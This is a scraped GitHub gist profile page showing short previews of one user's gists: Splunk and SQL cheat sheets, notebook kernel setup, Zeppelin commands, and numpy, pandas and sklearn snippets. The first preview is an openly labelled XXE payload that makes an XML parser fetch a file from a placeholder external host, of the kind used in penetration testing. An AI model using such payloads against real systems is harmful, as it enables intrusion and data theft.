Skip to content

Instantly share code, notes, and snippets.

View questsin's full-sized avatar

Nicholas Manolakos questsin

View GitHub Profile
@questsin
questsin / XXE_payloads
Created March 27, 2020 19:24 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@questsin
questsin / connectHTMLelements_SVG.png
Created March 21, 2019 16:46 — forked from alojzije/connectHTMLelements_SVG.png
Connect two elements / draw a path between two elements with SVG path (using jQuery)
connectHTMLelements_SVG.png
index="iptv_sol_cdn_ats" | stats count by _raw
index="staging" NOT name="*" sourcetype=DownloadSessionEvent | af classfield=status
index=iptv_* index !=*cdn*
| eval diff= (_indextime - _time)/1000
| bin diff bins=20
| eval indextime=strftime(_indextime,"%Y-%m-%d %H:%M:%S")
|eval capturetime=strftime(_time,"%Y-%m-%d %H:%M:%S")
| stats count by index diff
Basic Queries
-- lter your columns
SELECT col1, col2, col3, ... FROM table1 -- lter the rows
WHERE col4 = 1 AND col5 = 2 -- aggregate the data
GROUP by ...
-- limit aggregated data
HAVING count(*) > 1 -- order of the results
ORDER BY col2
Useful keywords for SELECTS:
http://sqlitebrowser.org/
import sqlite3
from sqlite3 import Error
pip install bash_kernel
python -m bash_kernel.install
python setup.py install
python -m sqlite3_kernel.install
http://localhost:8080/#/
$ bin/zeppelin-daemon.sh start
$ bin/zeppelin-daemon.sh stop
@questsin
questsin / tensorflow (ML) (cheat sheet).sh
Created February 20, 2019 18:30
tensorflow (ML) (cheat sheet)
#view the dashboard
tensorboard --logdir=.
import numpy as np
np.arange(1,5)
np.linspace(1,5,4)
np.zeros(3)
np.ones(3)
np.random.randn(1000)
arr = np.array([1,2,3])
arr
len(arr)
#http://pandas.pydata.org/
#Series – for one dimensional array
#DataFrame – for 2 dimensional tables (and with multi-indexing can display more dimensions)
import numpy as np
import pandas as pd
df=pd.read_csv('pupils.csv')
df.head()
len(df)
import scikit-learn
from sklearn import datasets
from sklearn.model_selection import cross_val_predict
from sklearn import linear_model
import matplotlib.pyplot as plt
lr = linear_model.LinearRegression()
boston = datasets.load_boston()
y = boston.target